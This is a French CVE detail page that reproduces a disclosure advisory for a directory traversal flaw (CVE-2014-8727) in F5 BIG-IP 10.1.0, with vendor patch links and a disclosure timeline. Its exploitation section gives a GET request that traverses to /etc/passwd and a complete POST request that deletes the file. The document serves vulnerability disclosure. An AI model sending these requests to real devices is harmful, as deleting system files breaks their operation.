CVE-2014-8727 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

+------------------------------------------------------+ + F5 BIG-IP 10.1.0 - Directory Traversal Vulnerability + +------------------------------------------------------+ Affected Product : F5 BIG-IP Vendor Homepage : http://www.f5.com/ Version : 10.1.0 Vulnerability Category : Local vulnerability Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] CVE : CVE-2014-8727 Patched : Yes +-------------+ + Description + +-------------+ An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to arbitrary enumerate files and subsequently delete them off the OS level. Any system file deletion, for instance under /etc, /boot etc would have a major functionality and operational impact for the device. +----------------------+ + Exploitation Details + +----------------------+ An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level. In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-. Sample HTTP POST request: POST /tmui/Control/form HTTP/1.1 Host: <ip> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?name=../../../../../etc/passwd Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 937 _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete +----------+ + Solution + +----------+ F5 has already patched and mitigated the issue, for more information see ID363027 at the following URL: https://support.f5.com/kb/en-us/solutions/public/13000/100/sol13109.html https://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote_11_0_0_ltm.html +---------------------+ + Disclosure Timeline + +---------------------+ 03-11-2014: Vendor notified at security-reporting [at] f5 [dot] com 04-11-2014: Vendor responded with intent to investigate 04-11-2014: Shared details with vendor 05-11-2014: Vendor confirmed the issue is already patched, reference ID363027 12-11-2014: Public disclosure